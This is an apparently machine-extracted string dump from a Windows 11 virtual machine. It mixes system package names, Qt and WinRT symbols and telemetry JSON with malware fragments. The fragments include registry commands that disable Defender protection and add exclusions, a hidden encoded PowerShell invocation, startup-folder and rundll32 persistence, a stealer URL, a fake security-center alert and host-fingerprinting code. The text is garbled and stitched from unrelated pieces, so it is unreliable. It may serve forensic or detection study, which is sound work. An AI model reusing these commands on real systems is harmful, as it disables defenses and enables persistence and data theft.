WindowsIntegratedAuth with consumer realm and disabled MSA flight or downlevel OS or NAA. Returning false.
WindowsIntegratedAuth with organizations realm and enabled AAD flight. Returning true.
WindowsIntegratedAuth with organizations realm and disabled AAD flight. Returning false.
SignOutInteractively through broker is not supported in Windows
vel no moPSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Data\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
WindowsCompareStringOrdinal
WindowsCreateStringReference
	C:\WINDOWS\system32\SRU\$
	C:\WINDOWS\system32\SRU\
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_?
 Windows
Global_WindowsStorage_esServerMode
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
ro\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemp5
=aoNDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System5
n\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
C:\WINDOWS\sysWOW64\wbem\wmiprvse.exe
\windows\currentver
builtin\windowsI
Ewindows l
            name="Microsoft.Windows.SystemCompatible"
bbase64.b64encode(str(get_machine_name()).encode()).decode()}{base64.b64encode(str(get_username()).encode()).decode()}{uuid}{get_windows_version()}{get_machine_locale()
Microsoft.Windows.Security.NGC.KeyStaging
c:\windows\system32\rundll32.exe)
/\windows\system32\rundll32.exeolasius.dll,plugininit"%systemroot%\system32\imageres.dll
&"\microsoft\windows\startmenu\programs\startup\kefe.bat"
a\roaming\microsoft\windows\>
3<!doctypehtml><html><head><hta:applicationid="cs"applicationname="test"windowstate="minimize"maximizebutton="no"minimizebutton="no"c
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbweildren
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
'Microsoft Windows Code Signing PCA 20240
'Microsoft Windows Code Signing PCA 20240
    name="WindowsShell"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
OS=Windows_NT
$N?handleExtendedKeyEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@W4Type@QEvent@@HV?$QFlags@W4KeyboardModifier@Qt@@@@IIIAEBVQString@@_NG4@Z
(N?handleFrameStrutMouseEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1V?$QFlags@W4MouseButton@Qt@@@@W4MouseButton@Qt@@W4Type@QEvent@@V?$QFlags@W4KeyboardModifier@Qt@@@@W4MouseEventSource@6@@Z
CN?handleWheelEvent@QWindowSystemInterface@@SA_NPEAVQWindow@@AEBVQPointF@@1VQPoint@@2V?$QFlags@W4KeyboardModifier@Qt@@@@W4ScrollPhase@Qt@@W4MouseEventSource@7@@Z
??$handleLeaveEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@@Z
??$handleEnterEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQPointF@@1@Z
??$handleTouchEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
??$handleTouchCancelEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@PEAVQTouchDevice@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your 32\DPVVOX.DLL>
AC:\WINDOWS\SYSTEM32\KBDNEC.DLL>
C:\WINDOWS\SYSTEM32\MSSHSQ.DLL>
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.Print.APMon
Microsoft.Windows.Print.WSDMon
Microsoft.Windows.Print.DeviceObject
Microsoft.Windows.Print.IppMon
Microsoft.Windows.Print.IppConfigConverter
Microsoft.Windows.Print.RenderFilterCommon
Microsoft.Windows.Print.McpLppHelper
Microsoft.Windows.Print.IppAdapterCore
Microsoft.Windows.Print.HttpRest
Microsoft.Windows.Print.IppCommon
Microsoft.Windows.Print.McpEvtSrc
Microsoft.Windows.Print.McpIppChannel
Microsoft.Windows.Print.WsdAdapter
Microsoft.Windows.Print.PrintUtil
Microsoft.Windows.Print.PerfLib
powershell -WindowStyle Hidden -Command "Expand-Archive -Force
WindowsApp1.Resources
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
	c:\windows\fk40f5_
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CloudSettings
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CommonUIStyles
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CompareEnumToVisibilityConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CornerRadiusFilterConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CornerRadiusToThicknessConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.DictationThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.DirectionalAwareContainerRegistrar
WindowsInternal.ComposableShell.Experiences.TextInput.Common.FloatingContentControl
WindowsInternal.ComposableShell.Experiences.TextInput.Common.FloatingContentControlAutomationPeer
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Cnr|\regadd"hkey_local_machine\software\policies\microsoft\windowsdefender\real-timeprotection"/vdisableioavprotection/treg_dword/d1/f
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
IsWindows365Device
Windows.OS.Emergency.MSI.amd64
Windows.UndockedFlighting.RunUXInternal.amd64
system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
tsystem32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca
\Windows\CurrentVersion
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
WindowsInternal.AI.Context.ScreenContextAnalyzer
WindowsInternal.AI.Context.ScreenContextDataset
WindowsInternal.AI.Context.ScreenContextDatasetEntry
WindowsInternal.AI.Context.ScreenContextSession
WindowsInternal.AI.Context.ScreenContextSessionConfiguration
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
COMPUTERNAME=WINDOWS11
Microsoft.Windows.Security.Kerberos
Microsoft.Windows.Security.Kerberos
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.Security.BCrypt
echo---disable"windowsdefenderadvancedthreatprotectionservice"service
c:\windows\system32\
GetSystemWindowsDirectoryW
?constrainWindowSize@QPlatformWindow@@KA?AVQSize@@AEBV2@@Z
?isPipeClosed@QWindowsPipeReader@@QEBA_NXZ
?isReadOperationActive@QWindowsPipeReader@@QEBA_NXZ
?maxReadBufferSize@QWindowsPipeReader@@QEBA_JXZ
.?AU?$produce_base@UReactPackageProvider@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactPackageProvider@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UReactPackageProvider@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@@winrt@@
.?AU?$root_implements@UReactPackageProvider@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer_convert@UReactPackageProvider@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UReactPackageProvider@factory_implementation@ReactNativePicker@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UReactPackageProvider@factory_implementation@ReactNativePicker@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@@std@@@impl@winrt@@
onecoreuap\base\diagnosis\platform\notifications\platform\core\windowspushnotificationplatform.cpp
mincore\textinput\dev\winrt\dll\Windows.UI.Core.TextInput.Telemetry.h
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
.to.8866.orgSOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\
Zhttp://www.screenblaze.com/curver.php\scrblaze.scr\screenblaze.exe \screenblazeupgrader.batdel c:\windows\screenblaze.exe
DllCanUnloadNowSoftware\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
\Software\Microsoft\Windows\Cu#
,UMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy
%UMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
?UMicrosoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe7
1UMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
,UMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy
uUMicrosoftWindows.CrossDevice_cw5n1h2txyewy
RUMicrosoft.WindowsAlarms_8wekyb3d8bbwe
zUMicrosoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
qUMicrosoft.WindowsTerminal_8wekyb3d8bbwe
UUMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy
AUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
Windows PowerShelli
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST(
\windows\currentG
CalculateRudeWindows
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
c:\windows\inf\spatid.infsvcchoster.exe
http://m2stealer.hostil.pl/c.php?logi=c:\windows\wdmgr.exe
exefile=%windir%\system32\
	windir%\system32\poqexec6
SoftwareDistribution\Download\*\WindowsU7
Zsystem32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
copy /y "%systemroot%\system32\ping.exe" "%temp%\smss.exe"
C:\Windows\boOT.dll
$rundll32 C:\Windows\boOT.dll,networkREGSVR32 /s C:\wab.dllC:\Windows\boOT.dll
OS=Windows_NT
USERDOMAIN_ROAMINGPROFILE=Windows11)
C:\Users\C:\Windows\Temp\aceprocted.sysreg add \" HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\PathsSCHTASKS /Run /TN 
C:\Windows\Prefetch\CMD.EXE-0BD30981.pf
c:\windows\prefetch\cmd.exe-0bd30981.pf
\Device\HarddiskVolume3\Windows\System32
C:\Windows\System32
C:\Windows\System32\cmd.exe
c:\windows\system32\cmd.exe
pid:3700,ProcessStart:134163940572290041\c:\windows\system32\cmd.exe
pid:3700,ProcessStart:134163940572290041\c:\windows\system32\cmd.exe
pid:3700,processstart:134163940572290041\c:\windows\system32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsCreateStringReference
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
UMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
Uwindows.immersivecontrolpanel_cw5n1h2txyewy
Uwindows_ie_ac_001
UMicrosoftWindows.Client.CBS_cw5n1h2txyewy
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy
UMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
UMicrosoftWindows.Client.OOBE_cw5n1h2txyewy
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe
UMicrosoft.WindowsStore_8wekyb3d8bbwe
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe
UMicrosoft.WindowsStore_8wekyb3d8bbwe
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
7s\system32\msvcrt2
Software\Microsoft\Windows\CurrentVersion\Run
c:\windows\shoot
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
{else{alert('windowssecuritycenterrecommendsyoutoinstall
^version\winlogon\notify\guardianapplication install{ddffa75az
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwbeaf4aaabeaf4axgb0af4axgbeaf4ayqbeaf4aiabeaf4aaab0ahqacabzadoaxgavaf4axgavahuabab0ahiayqbeaf4axgbeahyaxgbeagkazqb3aguacgbeaf4axgauag4azqb0ahcabwbyagsalwbeaf4adqbeaf4adgauaf4axgbeag0axgbeaf4acabeaf4axga0af4axganac4acgblahaababhagmazqaoaccaxganacwajwanackaowbpaguaeaagacgazwbjagiakqa=
WinStationGetLastWinlogonNotification
WinStationSetLastWinlogonNotification
 @Windows.Data.Settings.Voice
OutlookForWindows_1.2026.210.30k
com.microsoft.windows.extenA
TaintWindowsShareAccessedT
":filename="c:\windows\temp\frontpag)
Om toevoermetodes te wissel, druk Windows-sleutel + Spasie.
Pen- en Windows Ink-instellings
Selekteer Windows-logosleutel + punt (.) om die emosiekoon en meer-paneel oop te maak
Herinner: meld aan met Windows Hello om te hervat; geen foto
amd64_microsoft-windows-shell-family-client_31bf3856ad364e35_none_f4224e0e70b55c03\
15c^com.microsoft.windows.extensions.xaml.voiceacces
15f^com.microsoft.windows.e
C:\WINDOWS\system32\SecurityHealthService.exe=
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsCreateStringReference
P\Dhbrwsr.BrowserWindows
\Dhbrwsr.BrowserWindows.1
xSystem.Windows.Forms.Shortcut,System.Windows.Forms, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
AslEnvGetSystem32DirPathBuf failed [%x]
AslEnvGetSystem32DirPathBuf
Microsoft.Windows.Compatibility.Asl
?getWindowSystemEvent@QWindowSystemInterfacePrivate@@SAPEAVWindowSystemEvent@1@XZ
Microsoft.Windows.I8042Port
rx::WindowSurfaceVk::initializeImpl
WindowSurfaceVk::createSwapchain
rx::WindowSurfaceVk::createSwapChain
rx::WindowSurfaceVk::queryAndAdjustSurfaceCaps
rx::WindowSurfaceVk::checkSwapchainOutOfDate
WindowSurfaceVk::present
rx::WindowSurfaceVk::present
rx::WindowSurfaceVk::cleanUpPresentHistory
rx::WindowSurfaceVk::cleanUpOldSwapchai|
Microsoft.Windows.Input.KbdClass
GetProcessWindowStation
Microsoft.Windows.Input.MouClass
svga.wddm.useWindowsTopoRoots
Windows topology roots are not used.
Windows topology differs from current TopoRequest.
Windows-provided topology failed validation
?pipeClosed@QWindowsPipeReader@@QEAAXXZ
?isWriteOperationActive@QWindowsPipeWriter@@QEBA_NXZ
Microsoft.Windows.Audio.PortClass
c:/windows/system32/dL
kC:\WINDOWS\SYSTEM32\powrprof.dllhttps://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.certkeys?rev=HEAD/usr/local/go/src/runtime/runtime-gdb.pysandcastle232.ash9.facebook.com!#HSTR:Trojan:MSIL/AgentTesla.SJC!MTB
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCompareStringOrdinal
Microsoft.Windows.Notifications.WpnCore
Microsoft.Windows.Wil.FeatureLogging
Failed CoCreateInstanceAsUser CWindowsPushNotificationPlatform
target="htt3.web.core.windows.net/?emailtoken
48^windows.appExtension
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
9PC49MD70881FocusHomeInteractiveSA.EvilWest-Windows_4hny5m903y3g0Focus Entertainment
.?AU?$root_implements@UPhoneBrokerUtils@factory_implementation@Utilities@BackgroundTasks@Stub@SharedUtilities@winrt@@UIActivationFactory@Foundation@Windows@7@UIPhoneBrokerUtilsStatics@34567@@impl@winrt@@
.?AU?$producer_convert@UPhoneBrokerUtils@factory_implementation@Utilities@BackgroundTasks@Stub@SharedUtilities@winrt@@UIActivationFactory@Foundation@Windows@7@X@impl@winrt@@
.?AU?$producer@UPhoneBrokerUtils@factory_implementation@Utilities@BackgroundTasks@Stub@SharedUtilities@winrt@@UIActivationFactory@Foundation@Windows@7@X@impl@winrt@@
.?AU?$producers_base@UPhoneBrokerUtils@factory_implementation@Utilities@BackgroundTasks@Stub@SharedUtilities@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIPhoneBrokerUtilsStatics@Utilities@BackgroundTasks@Stub@SharedUtilities@4@@std@@@impl@winrt@@
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
*@CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
"@https://assets.activity.windows.com/v1/assets/$batch
C:\Users\job\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-shm
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialogdI
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustAppc@
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App_?
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App^B
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App]/
Microsoft.Windows.Photos_8wekyb3d8bbwe!App
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App\8
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App[&
Microsoft.Windows.ParentalControls
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!AppZA
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!AppY;
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App
Microsoft.Windows.InputSwitchToastHandler
g	Microsoft.Windows.DynamicLightingToastHandler0
Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!AppX;
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!AppW5
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!AppV=
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!AppU5
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!AppT8
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreenO%
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXG:
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerE
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides7@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIFrameworkElementOverrides2@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIPageOverrides@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides8@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$DialogsPage_base@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AU?$implements@UDialogsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producers_base@UDialogsPage@implementation@TaskManagerApp@winrt@@V?$tuple@UDialogsPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
D":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8901096Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":41},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, 